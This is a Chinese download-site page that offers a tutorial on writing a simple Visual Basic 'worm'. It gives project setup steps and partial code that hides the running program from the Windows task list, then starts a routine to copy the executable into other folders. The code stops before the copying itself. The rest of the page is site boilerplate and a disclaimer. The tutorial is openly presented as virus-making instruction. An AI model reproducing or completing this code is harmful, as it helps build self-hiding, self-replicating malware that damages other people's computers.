简单的病毒编程代码-结贝号资源网

打开Visual Basic
，选择“Standard EXE”的Project。移除那个Form，然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：
Sub Main() ‘TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。
以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹
。
在Sub Main中键入以下的编码：
＇阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 ‘得到EXE的位置Location = App.Path & “\” & App.EXEName & “.exe” Location2 = App.Path & App.EXEName & “.exe”。

【站长推荐】购买会员可免费下载全站资源。【提示】本站只提供资源，不提供技术支持，介意勿下！！【公告】没有基础小白不要下载，站长不教！！
本站提供的资源，都来自网络，版权争议与本站无关，所有内容及软件的文章仅限用于学习和研究目的。不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负，我们不保证内容的长久可用性，通过使用本站内容随之而来的风险与本站无关，您必须在下载后的24个小时之内，从您的电脑/手机中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，购买注册，得到更好的正版服务。如果有侵权之处请第一时间联系我们删除。敬请谅解! E-mail：jiebeih@foxmail.com

THE END

技术教程
# 技术教程# main# end# sub